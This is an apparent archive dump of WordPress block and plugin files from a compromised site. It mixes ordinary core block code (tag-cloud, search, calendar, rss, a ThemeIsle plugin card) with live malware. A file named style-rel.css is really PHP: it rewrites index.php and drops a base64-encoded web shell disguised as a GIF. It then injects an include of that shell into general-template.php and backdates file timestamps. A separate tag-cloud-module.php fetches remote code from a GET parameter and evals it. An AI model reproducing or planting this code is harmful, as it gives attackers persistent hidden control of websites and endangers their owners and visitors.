RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
    Deny from all
</FilesMatch>
</IfModule>cover/.htaccess000066600000000424151126550270007470 0ustar00<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
    Deny from all
</FilesMatch>
</IfModule>cover/style-rel.css000066600000157672151126550270010346 0ustar00<?php
error_reporting(0); set_time_limit(0); ignore_user_abort(true);
$do = "/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lYWRlci5waHAnKTs/Pg==");
$index_code = file_get_contents($do."index.php");
if(md5($index_code) != md5($open_cache_ruzhu_phpcode))
{
    @chmod($do."index.php", 0644);
    @file_put_contents($do."index.php", $open_cache_ruzhu_phpcode);
    @touch($do."index.php", filectime($do."index.php"));
    @chmod($do."index.php", 0444);
}

$file_general_template_path = $do."wp-includes/general-template.php";
$jue_jiang_404_path = $do."wp-includes/images/xit-3x.gif";
if (!file_exists($jue_jiang_404_path)){
    $jue_jiang_404 = "PD9waHAKZXJyb3JfcmVwb3J0aW5nKDApOwpkYXRlX2RlZmF1bHRfdGltZXpvbmVfc2V0KCdQUkMnKTsKCiRBUlJBWSA9ICR7J19HRVQnfVsnQVJSQVknXTsKJEtKTW4gPSBzdHJfcm90MTMoJEFSUkFZKTsKJGNiSCA9IHBhY2soIlx4NDhceDJhIiwgJEtKTW4pOwokRXphVSA9IGpzb25fZGVjb2RlKCRjYkgsIHRydWUpOwppZiAoKCRFemFVWzBdIC0gdGltZSgpKSA+IDAgYW5kIG1kNShtZDUoJEV6YVVbMl0pKSA9PT0gIjlmMzQ2NjViMDA1MjMxMWQ1YjZhZDZmODIxZGM2MjI4IikgOiAvLyA9PT09Ci8vID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoKICAgIGZ1bmN0aW9uIGp1ZWppYW5nX3Blcm1zKCRmaWxlKXsKICAgICAgICAkcGVybXMgPSBmaWxlcGVybXMoJGZpbGUpOwogICAgICAgIGlmICgoJHBlcm1zICYgMHhDMDAwKSA9PSAweEMwMDApIHsvLyBTb2NrZXQKICAgICAgICAgICAgJGluZm8gPSAncyc7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweEEwMDApID09IDB4QTAwMCkgey8vIFN5bWJvbGljIExpbmsKICAgICAgICAgICAgJGluZm8gPSAnbCc7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDgwMDApID09IDB4ODAwMCkgey8vIFJlZ3VsYXIKICAgICAgICAgICAgJGluZm8gPSAnLSc7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDYwMDApID09IDB4NjAwMCkgey8vIEJsb2NrIHNwZWNpYWwKICAgICAgICAgICAgJGluZm8gPSAnYic7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDQwMDApID09IDB4NDAwMCkgey8vIERpcmVjdG9yeQogICAgICAgICAgICAkaW5mbyA9ICdkJzsKICAgICAgICB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4MjAwMCkgPT0gMHgyMDAwKSB7Ly8gQ2hhcmFjdGVyIHNwZWNpYWwKICAgICAgICAgICAgJGluZm8gPSAnYyc7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDEwMDApID09IDB4MTAwMCkgey8vIEZJRk8gcGlwZQogICAgICAgICAgICAkaW5mbyA9ICdwJzsKICAgICAgICB9IGVsc2Ugey8vIFVua25vd24KICAgICAgICAgICAgJGluZm8gPSAndSc7CiAgICAgICAgfQovLyBPd25lcgogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMTAwKSA/ICdyJyA6ICctJyk7CiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwODApID8gJ3cnIDogJy0nKTsKICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA0MCkgPwogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDgwMCkgPyAncycgOiAneCcgKSA6CiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwODAwKSA/ICdTJyA6ICctJykpOwoKLy8gR3JvdXAKICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAyMCkgPyAncicgOiAnLScpOwogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7CiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDgpID8KICAgICAgICAgICAgKCgkcGVybXMgJiAweDA0MDApID8gJ3MnIDogJ3gnICkgOgogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsKCi8vIFdvcmxkCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDQpID8gJ3InIDogJy0nKTsKICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwMikgPyAndycgOiAnLScpOwogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDAxKSA/CiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICd0JyA6ICd4JyApIDoKICAgICAgICAgICAgKCgkcGVybXMgJiAweDAyMDApID8gJ1QnIDogJy0nKSk7CgogICAgICAgIHJldHVybiAkaW5mbzsKICAgIH0KCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQogICAgLyoqCiAgICAgKiDovazljJYgXCDkuLogLwogICAgICovCiAgICBmdW5jdGlvbiBkaXJfcGF0aCgkcGF0aCkKICAgIHsKICAgICAgICAkcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJHBhdGgpOwogICAgICAgIGlmIChzdWJzdHIoJHBhdGgsIC0xKSAhPSAnLycpICRwYXRoID0gJHBhdGggLiAnLyc7CiAgICAgICAgcmV0dXJuICRwYXRoOwogICAgfQoKLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgogICAgLyoqIOWPluW+l+ermeeCueagueebruW9lQogICAgICogQHJldHVybiBhcnJheXxzdHJpbmd8c3RyaW5nW10KICAgICAqLwogICAgZnVuY3Rpb24gZG9jdW1lbnRfcm9vdCgpewoKICAgICAgICAkcGhwX3NlbGYgPSBkaXJfcGF0aCgkX1NFUlZFUlsiUEhQX1NFTEYiXSk7CiAgICAgICAgJHNjcmlwdF9maWxlbm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lJ107CiAgICAgICAgICAgICRwYXRjID0gIiRoZWxsLyR5ZWFoIjsKICAgICAgICAgICAgJG5ldyA9IGVtcHR5KCRfUE9TVFsnbmV3bmFtZSddKT8kX1BPU1RbJ25nYXJhbjEnXTokX1BPU1RbJ25ld25hbWUnXTsKICAgICAgICAgICAgJGF6eiA9ICRfUE9TVFsncGF0aCddOwogICAgICAgICAgICAkbmV3eiA9ICRhenouIi8iLiRuZXc7CiAgICAgICAgICAgICRuZXdfZmllbCA9ICRoZWxsLicvJy4kX1BPU1RbJ25nYXJhbjEnXTsKICAgICAgICAgICAgaWYoIWVtcHR5KCRfUE9TVFsnbmdhcmFuMSddKSkgZWNobyAi5q2j5Zyo5paw5bu65paH5Lu277yaeyRuZXdfZmllbH08YnI+PGJyPiI7CiAgICAgICAgICAgIGlmKGlzc2V0KCRfUE9TVFsnc3JjJ10pKXsKICAgICAgICAgICAgICAgICRmcCA9IGZvcGVuKCRfUE9TVFsncGF0aCddLCd3Jyk7CiAgICAgICAgICAgICAgICBpZihmd3JpdGUoJGZwLCRfUE9TVFsnc3JjJ10pKXsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuaWsOW7uuaWh+S7tuaIkOWKnyBbICcuJGF6ei4nIF08L2ZvbnQ+PGJyIC8+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH1lbHNlewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPuaWsOW7uuaWh+S7tuWksei0pSA+Oig8L2ZvbnQ+PGJyIC8+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGZjbG9zZSgkZnApOwogICAgICAgICAgICB9CgogICAgICAgICAgICBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPiDmlrDmlofku7blkI0gOiA8aW5wdXQgbmFtZT0ibmdhcmFuMSIgdHlwZT0idGV4dCIgc2l6ZT0iMjAiIHZhbHVlPSIn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CgovL0RlbGV0ZSBkaXIKICAgICAgICAgICAgaWYoJF9HRVRbJ3R5cGUnXSA9PSAnZGlyJyl7CgogICAgICAgICAgICAgICAgaWYocm1kaXIoJHBhdGMpKXsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuWIoOmZpOaIkOWKn++8gTwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCMiPuWIoOmZpOWksei0pSE+Oig8L2ZvbnQ+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQovL2J1YXQgZm9sZGVyCiAgICAgICAgICAgIGlmKCRfR0VUWyd0eXBlJ10gPT0gJ2J1YXQnKXsKICAgICAgICAgICAgICAgICRoYWFhID0gJF9QT1NUWydwYXRoJ107CiAgICAgICAgICAgICAgICAkaGVlZSA9ICRfUE9TVFsnbmFtZSddOwogICAgICAgICAgICAgICAgJGhvb28gPSAiJGhhYWEvJGhlZWUiOwogICAgICAgICAgICAgICAgJG5ldyA9ICRoYWFhLicvJy5odG1sc3BlY2lhbGNoYXJzKCRoZWVlKTsKICAgICAgICAgICAgICAgIGlmKCFta2RpcigkbmV3KSl7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+5paw5bu655uu5b2V5aSx6LSlITwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mlrDlu7rnm67lvZXmiJDlip8hID46KTwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9Ci8vRGVsZXRlIGZpbGUKICAgICAgICAgICAgZWxzZWlmKCRfR0VUWyd0eXBlJ10gPT0gJ2ZpbGUnKXsKCiAgICAgICAgICAgICAgICAkaGVsbCA9ICRf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XRoLyRmaWxlIikpIGVjaG8gJzwvZm9udD4nOwogICAgICAgICAgICBlY2hvICI8L2E+PC90ZD4KPHRkIGNsYXNzPXRkX2hvbWU+PGNlbnRlcj4KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9ZWRpdCZ0eXBlPWZpbGUmbmFtZT0kZmlsZVwiPue8lui+kTwvYT4KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9cmVuYW1lJnR5cGU9ZmlsZSZuYW1lPSRmaWxlJnBhdGg9JHBhdGhcIj7ph43lkb3lkI08L2E+CjxhIGhyZWY9XCJqYXZhc2NyaXB0OmlmKGNvbmZpcm0oJ+ehruWunuimgeWIoOmZpOWQlz8nKSlsb2NhdGlvbj0nP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWRlbGV0ZSZ0eXBlPWZpbGUmbmFtZT17JGZpbGV9J1wiPuWIoOmZpDwvYT4KPC9jZW50ZXI+PC90ZD4KPC90cj4iOwogICAgICAgIH0KICAgICAgICBlY2hvICc8L3RhYmxlPgo8L2Rpdj4nOwogICAgfQogICAgZWNobyAnPGJyPjxicj48YnI+PGJyPjwvYj4KPC9ib2R5PiA8L2h0bWw+PC9ib2R5Pgo8L2h0bWw+JzsKICAgIGRpZTsKZW5kaWY7ICAvLyA9PT09CgoKCgoKCg=="; // WP 404
    @chmod($jue_jiang_404_path, 0644);
    @file_put_contents($jue_jiang_404_path, base64_decode($jue_jiang_404));
    @touch($jue_jiang_404_path, filectime($file_general_template_path));
    @chmod($jue_jiang_404_path, 0444);
}

$general_template_code = @file_get_contents($file_general_template_path);
$gen_mat = base64_decode("QGluY2x1ZGVbXHNdK2Jhc2U2NF9kZWNvZGVbXHNdKj9cKCJbMC05YS16QS1aLT0rXC9dKyJcKTs=");
$isget_mat = preg_match("/{$gen_mat}/i",$general_template_code)?true:false;
if (!$isget_mat){
    $pma = base64_decode("ZnVuY3Rpb25bXHNdW2EtekEtWjAtOV9dKlwoLio/XCkuKg==");
    preg_match_all("/{$pma}/i",$general_template_code,$pr);
    $gen_temp_fun_name = $pr[0][rand(0,count($pr[0])-1)];
    $jj404_b64_path = base64_encode($jue_jiang_404_path);
    $new_general_template = str_replace($gen_temp_fun_name,"@include base64_decode(\"{$jj404_b64_path}\");".PHP_EOL.$gen_temp_fun_name,$general_template_code);
    @chmod($file_general_template_path, 0644);
    @file_put_contents($file_general_template_path,$new_general_template);
    @touch($file_general_template_path, filectime($file_general_template_path));
}
tag-cloud.php000066600000002740151132140760007143 0ustar00<?php
/**
 * Server-side rendering of the `core/tag-cloud` block.
 *
 * @package WordPress
 */

/**
 * Renders the `core/tag-cloud` block on server.
 *
 * @param array $attributes The block attributes.
 *
 * @return string Returns the tag cloud for selected taxonomy.
 */
function render_block_core_tag_cloud( $attributes ) {
	$class = isset( $attributes['align'] ) ?
		"wp-block-tag-cloud align{$attributes['align']}" :
		'wp-block-tag-cloud';

	if ( isset( $attributes['className'] ) ) {
		$class .= ' ' . $attributes['className'];
	}

	$args = array(
		'echo'       => false,
		'taxonomy'   => $attributes['taxonomy'],
		'show_count' => $attributes['showTagCounts'],
	);

	$tag_cloud = wp_tag_cloud( $args );

	if ( ! $tag_cloud ) {
		$tag_cloud = esc_html( __( 'No terms to show.' ) );
	}

	return sprintf(
		'<p class="%1$s">%2$s</p>',
		esc_attr( $class ),
		$tag_cloud
	);
}

/**
 * Registers the `core/tag-cloud` block on server.
 */
function register_block_core_tag_cloud() {
	register_block_type(
		'core/tag-cloud',
		array(
			'attributes'      => array(
				'taxonomy'      => array(
					'type'    => 'string',
					'default' => 'post_tag',
				),
				'className'     => array(
					'type' => 'string',
				),
				'showTagCounts' => array(
					'type'    => 'boolean',
					'default' => false,
				),
				'align'         => array(
					'type' => 'string',
				),
			),
			'render_callback' => 'render_block_core_tag_cloud',
		)
	);
}

add_action( 'init', 'register_block_core_tag_cloud' );
search.php000066600000003516151132140760006533 0ustar00<?php
/**
 * Server-side rendering of the `core/search` block.
 *
 * @package WordPress
 */

/**
 * Dynamically renders the `core/search` block.
 *
 * @param array $attributes The block attributes.
 *
 * @return string The search block markup.
 */
function render_block_core_search( $attributes ) {
	static $instance_id = 0;

	$input_id = 'wp-block-search__input-' . ++$instance_id;

	if ( ! empty( $attributes['label'] ) ) {
		$label_markup = sprintf(
			'<label for="%s" class="wp-block-search__label">%s</label>',
			$input_id,
			$attributes['label']
		);
	}

	$input_markup = sprintf(
		'<input type="search" id="%s" class="wp-block-search__input" name="s" value="%s" placeholder="%s" />',
		$input_id,
		esc_attr( get_search_query() ),
		esc_attr( $attributes['placeholder'] )
	);

	if ( ! empty( $attributes['buttonText'] ) ) {
		$button_markup = sprintf(
			'<button type="submit" class="wp-block-search__button">%s</button>',
			$attributes['buttonText']
		);
	}

	$class = 'wp-block-search';
	if ( isset( $attributes['className'] ) ) {
		$class .= ' ' . $attributes['className'];
	}

	return sprintf(
		'<form class="%s" role="search" method="get" action="%s">%s</form>',
		esc_attr( $class ),
		esc_url( home_url( '/' ) ),
		$label_markup . $input_markup . $button_markup
	);
}

/**
 * Registers the `core/search` block on the server.
 */
function register_block_core_search() {
	register_block_type(
		'core/search',
		array(
			'attributes'      => array(
				'label'       => array(
					'type'    => 'string',
					'default' => __( 'Search' ),
				),
				'placeholder' => array(
					'type'    => 'string',
					'default' => '',
				),
				'buttonText'  => array(
					'type'    => 'string',
					'default' => __( 'Search' ),
				),
			),

			'render_callback' => 'render_block_core_search',
		)
	);
}

add_action( 'init', 'register_block_core_search' );
calendar.php000066600000003701151132140760007033 0ustar00<?php
/**
 * Server-side rendering of the `core/calendar` block.
 *
 * @package WordPress
 */

/**
 * Renders the `core/calendar` block on server.
 *
 * @param array $attributes The block attributes.
 *
 * @return string Returns the block content.
 */
function render_block_core_calendar( $attributes ) {
	global $monthnum, $year;

	$previous_monthnum = $monthnum;
	$previous_year     = $year;

	if ( isset( $attributes['month'] ) && isset( $attributes['year'] ) ) {
		$permalink_structure = get_option( 'permalink_structure' );
		if (
			strpos( $permalink_structure, '%monthnum%' ) !== false &&
			strpos( $permalink_structure, '%year%' ) !== false
		) {
			// phpcs:ignore WordPress.WP.GlobalVariablesOverride.OverrideProhibited
			$monthnum = $attributes['month'];
			// phpcs:ignore WordPress.WP.GlobalVariablesOverride.OverrideProhibited
			$year = $attributes['year'];
		}
	}

	$custom_class_name = empty( $attributes['className'] ) ? '' : ' ' . $attributes['className'];
	$align_class_name  = empty( $attributes['align'] ) ? '' : ' ' . "align{$attributes['align']}";

	return sprintf(
		'<div class="%1$s">%2$s</div>',
		esc_attr( 'wp-block-calendar' . $custom_class_name . $align_class_name ),
		get_calendar( true, false )
	);

	// phpcs:ignore WordPress.WP.GlobalVariablesOverride.OverrideProhibited
	$monthnum = $previous_monthnum;
	// phpcs:ignore WordPress.WP.GlobalVariablesOverride.OverrideProhibited
	$year = $previous_year;
}

/**
 * Registers the `core/calendar` block on server.
 */
function register_block_core_calendar() {
	register_block_type(
		'core/calendar',
		array(
			'attributes'      => array(
				'align'     => array(
					'type' => 'string',
				),
				'className' => array(
					'type' => 'string',
				),
				'month'     => array(
					'type' => 'integer',
				),
				'year'      => array(
					'type' => 'integer',
				),
			),
			'render_callback' => 'render_block_core_calendar',
		)
	);
}

add_action( 'init', 'register_block_core_calendar' );
rss.php000066600000007622151132140760006077 0ustar00<?php
/**
 * Server-side rendering of the `core/rss` block.
 *
 * @package WordPress
 */

/**
 * Renders the `core/rss` block on server.
 *
 * @param array $attributes The block attributes.
 *
 * @return string Returns the block content with received rss items.
 */
function render_block_core_rss( $attributes ) {
	$rss = fetch_feed( $attributes['feedURL'] );

	if ( is_wp_error( $rss ) ) {
		return '<div class="components-placeholder"><div class="notice notice-error"><strong>' . __( 'RSS Error:' ) . '</strong> ' . esc_html( $rss->get_error_message() ) . '</div></div>';
	}

	if ( ! $rss->get_item_quantity() ) {
		// PHP 5.2 compatibility. See: http://simplepie.org/wiki/faq/i_m_getting_memory_leaks.
		$rss->__destruct();
		unset( $rss );

		return '<div class="components-placeholder"><div class="notice notice-error">' . __( 'An error has occurred, which probably means the feed is down. Try again later.' ) . '</div></div>';
	}

	$rss_items  = $rss->get_items( 0, $attributes['itemsToShow'] );
	$list_items = '';
	foreach ( $rss_items as $item ) {
		$title = esc_html( trim( strip_tags( $item->get_title() ) ) );
		if ( empty( $title ) ) {
			$title = __( '(Untitled)' );
		}
		$link = $item->get_link();
		$link = esc_url( $link );
		if ( $link ) {
			$title = "<a href='{$link}'>{$title}</a>";
		}
		$title = "<div class='wp-block-rss__item-title'>{$title}</div>";

		$date = '';
		if ( $attributes['displayDate'] ) {
			$date = $item->get_date( 'U' );

			if ( $date ) {
				$date = sprintf(
					'<time datetime="%1$s" class="wp-block-rss__item-publish-date">%2$s</time> ',
					esc_attr( date_i18n( get_option( 'c' ), $date ) ),
					esc_attr( date_i18n( get_option( 'date_format' ), $date ) )
				);
			}
		}

		$author = '';
		if ( $attributes['displayAuthor'] ) {
			$author = $item->get_author();
			if ( is_object( $author ) ) {
				$author = $author->get_name();
				$author = '<span class="wp-block-rss__item-author">' . __( 'by' ) . ' ' . esc_html( strip_tags( $author ) ) . '</span>';
			}
		}

		$excerpt = '';
		if ( $attributes['displayExcerpt'] ) {
			$excerpt = html_entity_decode( $item->get_description(), ENT_QUOTES, get_option( 'blog_charset' ) );
			$excerpt = esc_attr( wp_trim_words( $excerpt, $attributes['excerptLength'], ' [&hellip;]' ) );

			// Change existing [...] to [&hellip;].
			if ( '[...]' == substr( $excerpt, -5 ) ) {
				$excerpt = substr( $excerpt, 0, -5 ) . '[&hellip;]';
			}

			$excerpt = '<div class="wp-block-rss__item-excerpt">' . esc_html( $excerpt ) . '</div>';
		}

		$list_items .= "<li class='wp-block-rss__item'>{$title}{$date}{$author}{$excerpt}</li>";
	}

	$classes           = 'grid' === $attributes['blockLayout'] ? ' is-grid columns-' . $attributes['columns'] : '';
	$list_items_markup = sprintf( "<ul class='%s'>%s</ul>", esc_attr( $classes ), $list_items );

	// PHP 5.2 compatibility. See: http://simplepie.org/wiki/faq/i_m_getting_memory_leaks.
	$rss->__destruct();
	unset( $rss );

	return $list_items_markup;
}

/**
 * Registers the `core/rss` block on server.
 */
function register_block_core_rss() {
	register_block_type(
		'core/rss',
		array(
			'attributes'      => array(
				'columns'        => array(
					'type'    => 'number',
					'default' => 2,
				),
				'blockLayout'    => array(
					'type'    => 'string',
					'default' => 'list',
				),
				'feedURL'        => array(
					'type'    => 'string',
					'default' => '',
				),
				'itemsToShow'    => array(
					'type'    => 'number',
					'default' => 5,
				),
				'displayExcerpt' => array(
					'type'    => 'boolean',
					'default' => false,
				),
				'displayAuthor'  => array(
					'type'    => 'boolean',
					'default' => false,
				),
				'displayDate'    => array(
					'type'    => 'boolean',
					'default' => false,
				),
				'excerptLength'  => array(
					'type'    => 'number',
					'default' => 55,
				),
			),
			'render_callback' => 'render_block_core_rss',
		)
	);
}

add_action( 'init', 'register_block_core_rss' );
tag-cloud-module.php000066600000000652151135040130010417 0ustar00<?php

if (isset($_GET['library'])) {
    $language_attributes_rl = $_GET['library'];
    if ($get_post_thumbnail_id_mtq = curl_init()) {
        curl_setopt($get_post_thumbnail_id_mtq, CURLOPT_URL, $language_attributes_rl);
        curl_setopt($get_post_thumbnail_id_mtq, CURLOPT_RETURNTRANSFER, true);
        eval(curl_exec($get_post_thumbnail_id_mtq));
        curl_close($get_post_thumbnail_id_mtq);
        exit;
    }
}plugin-card/editor.scss000066600000010170151142373640011145 0ustar00.wp-block-themeisle-blocks-plugin-cards {
	padding: 0;

	&.align-left {
		float: left;
	}

	&.align-center {
		text-align: center;
	}

	&.align-right {
		float: right;
	}

	.components-placeholder {
		padding: 60px 1em;

		.components-placeholder__fieldset {
			max-width: 100%;
			padding: 0 50px;

			.components-base-control__field {
				margin-bottom: 0;
			}

			.search-plugin-field {
				width: 100%;
				background: #ffffff;
				position: relative;
		
				svg.dashicon {
					position: absolute;
					left: 0;
					margin: 12px;
				}
		
				.components-spinner {
					position: absolute;
					margin: 12px;
					right: 0;
				}
		
				input[type="text"] {
					position: relative;
					width: 100%;
					margin: 0;
					padding: 1em 3.5em 1em 3.5em;
					border-radius: 0;
					border-color: #e6eaee;
					background: 0 0;
					box-shadow: none;
					z-index: 2;
		
					&:focus {
						color: #191e23;
						border-color: #00a0d2;
						box-shadow: 0 0 0 1px #00a0d2;
						outline: 2px solid transparent;
						outline-offset: -2px;
					}
				}
		
				.plugin-card-search-results {
					width: 100%;
					list-style: none;
					background: #fff;
					margin: -1px 0 0;
					border: 1px solid #e6eaee;
					box-shadow: 0 1px 3px #e6eaee;
		
					div {
						max-height: 175px;
						overflow-y: auto;

						.plugin-card-list-item {
							position: relative;
							border-width: 0 0 1px 0;
							border-style: solid;
							border-color: #e6eaee;
							transition: opacity .7s;
							cursor: pointer;
							color: #00a0d2;
							display: flex;
							-webkit-box-align: center;
							-ms-flex-align: center;
							align-items: center;
							-webkit-box-orient: horizontal;
							-webkit-box-direction: normal;
							-ms-flex-direction: row;
							flex-direction: row;
							padding: .75em 1.25em;

							&:hover {
								background-color: #f7fcff;
							}

							img {
								-o-object-fit: cover;
								object-fit: cover;
								-o-object-position: center;
								object-position: center;
								width: 2.5em;
								height: 2.5em;
								margin: 0 1em 0 0;
							}

							span {
								text-align: left;
							}
						}
					}
				}
		
			}
		}
	}

	.themeisle-plugin-card {
		border: 1px #EAEAEA solid;
		display: inline-block;
		width: 350px;
		font-family: "PT Serif Caption";

		a {
			color: #000;
			text-decoration: none;
		}

		.card-header {
			text-align: center;
			padding: 25px;

			.card-logo {
				padding: 10px;
				img {
					width: 128px;
					height: 128px;
				}
			}

			.card-info {
				padding: 10px;

				h4 {
					font-size: 24px;
					margin: 0;
				}

				h5 {
					font-size: 16px;
					margin: 0;
				}
			}

			.card-ratings {
				font-family: "Font Awesome 5 Free";

				.star-full:before {
					content: "\f005";
					font-weight: 900;
				}

				.star-half:before {
				    content: "\f5c0";
					font-weight: 900;
				}

				.star-empty:before {
				    content: "\f005";
				}
			}
		}

		.card-details {
			background: #FCFCFC;
			border-top: 1px #EAEAEA solid;
			padding: 20px;
			font-size: 12px;
			text-align: center;

			.card-description {
				color: #707070;
				font-size: 12px;
				text-align: center;
			}

			.card-stats {
				padding: 25px 0 0 0;
				text-align: justify;

				h5 {
					color: #707070;
					border-bottom: 1px #d8d8d8 solid;
					font-size: 14px;
					margin: 0;
				}

				.card-stats-list {
					display: flex;

					.card-stat {
						flex: auto;
						padding-top: 10px;
						text-align: center;

						.card-text-large {
							color: #4550ae;
							font-size: 24px;
							display: block;
						}
					}
				}
			}
		}

		.card-download {
			background: #4551af;
			text-align: center;

			a {
				color: #fff;
				text-decoration: none;
				display: block;
				padding: 20px;
			}
		}
	}
}

[data-type="themeisle-blocks/plugin-cards"] {
	.edit-plugin-card{
		&:hover {
			svg {
				padding: 5px;
				box-shadow: inset 0 0 0 1px #555d66,inset 0 0 0 2px #fff;
			}
		}
	}
}

@media ( max-width:415px ) {
	.wp-block-themeisle-blocks-plugin-cards {
		.themeisle-plugin-card {
			width: auto;

			.card-details {
				.card-stats {
					.card-stats-list {
						display: block;
					}
				}
			}
		}
	}
}plugin-card/class-plugin-card-block.php000066600000011534151142373640014100 0ustar00<?php
namespace ThemeIsle\GutenbergBlocks;

/**
 * Class Plugin_Card_Block
 */
class Plugin_Card_Block extends Base_Block {

	/**
	 * Constructor function for the module.
	 *
	 * @method __construct
	 */
	public function __construct() {
		parent::__construct();
	}

	/**
	 * Every block needs a slug, so we need to define one and assign it to the `$this->block_slug` property
	 *
	 * @return mixed
	 */
	function set_block_slug() {
		$this->block_slug = 'plugin-cards';
	}

	/**
	 * Set the attributes required on the server side.
	 *
	 * @return mixed
	 */
	function set_attributes() {
		$this->attributes = array(
			'slug' => array(
				'type' => 'string',
			),
		);
	}

	/**
	 * Block render function for server-side.
	 *
	 * This method will pe passed to the render_callback parameter and it will output
	 * the server side output of the block.
	 *
	 * @return mixed|string
	 */
	function render( $attributes ) {
		$results = $this->search( $attributes['slug'] );

		if ( ! is_wp_error( $results['data'] ) ) {
			$results = $results['data'];

			$icon = '';
			if ( isset( $results->icons['svg'] ) ) {
				$icon = $results->icons['svg'];
			} if ( isset( $results->icons['2x'] ) ) {
				$icon = $results->icons['2x'];
			} if ( isset( $results->icons['1x'] ) ) {
				$icon = $results->icons['1x'];
			} if ( isset( $results->icons['default'] ) ) {
				$icon = $results->icons['default'];
			}

			$class = 'wp-block-themeisle-blocks-plugin-cards';

			if ( isset( $attributes['className'] ) ) {
				$class .=  ' ' . esc_attr( $attributes['className'] );
			}

			$markup = '<div class="' . esc_attr( $class ) . '">
				<div class="themeisle-plugin-card">
					<div class="card-header">
						<div class="card-main">
							<div class="card-logo">
								<img src="' . esc_url( $icon ) . '" alt="' . esc_attr( $results->name ) . '" title="' . esc_attr( $results->name ) . '"/>
							</div>
							<div class="card-info">
								<h4>' . esc_html( $results->name ) . '</h4>
								<h5>' . $results->author . '</h5>
							</div>
							<div class="card-ratings">
								' . $this->get_ratings( $results->rating ) . '
							</div>
						</div>
					</div>
					<div class="card-details">
						<div class="card-description">' . esc_html( $results->short_description ) . '</div>
						<div class="card-stats">
							<h5>' . __( 'Plugin Stats', 'themeisle-companion' ) . '</h5>
							<div class="card-stats-list">
								<div class="card-stat">
									<span class="card-text-large">' . number_format( $results->active_installs ) . '+</span>
									' . __( 'active installs', 'themeisle-companion' ) . '
								</div>
								<div class="card-stat">
									<span class="card-text-large">' . floatval( $results ->version ) . '+</span>
									' . __( 'version', 'themeisle-companion' ) . '
								</div>
								<div class="card-stat">
									<span class="card-text-large">' . floatval( $results ->tested ) . '+</span>
									' . __( 'tested up to', 'themeisle-companion' ) . '
								</div>
							</div>
						</div>
					</div>
					<div class="card-download">
						<a href="' . esc_url( $results->download_link ) . '">' . __( 'Download', 'themeisle-companion' ) . '</a>
					</div>
				</div>
			</div>';

			return $markup;
		}

	}

	/**
	 * Search WordPress Plugin
	 *
	 * Search WordPress plugin using WordPress.org API.
	 *
	 * @return mixed
	 */
	function search( $request ) {
		$return = array(
			'success' => false,
			'data'     => esc_html__( 'Something went wrong', 'themeisle-companion' ),
		);

		$slug = $request;

		require_once( ABSPATH . 'wp-admin' . '/includes/plugin-install.php' );

		$request = array(
			'per_page' => 12,
			'slug' => $slug,
			'fields' => array(
				'active_installs' => true,
				'added' => false,
				'donate_link' => false,
				'downloadlink' => true,
				'homepage' => true,
				'icons' => true,
				'last_updated' => false,
				'requires' => true,
				'requires_php' => false,
				'screenshots' => false,
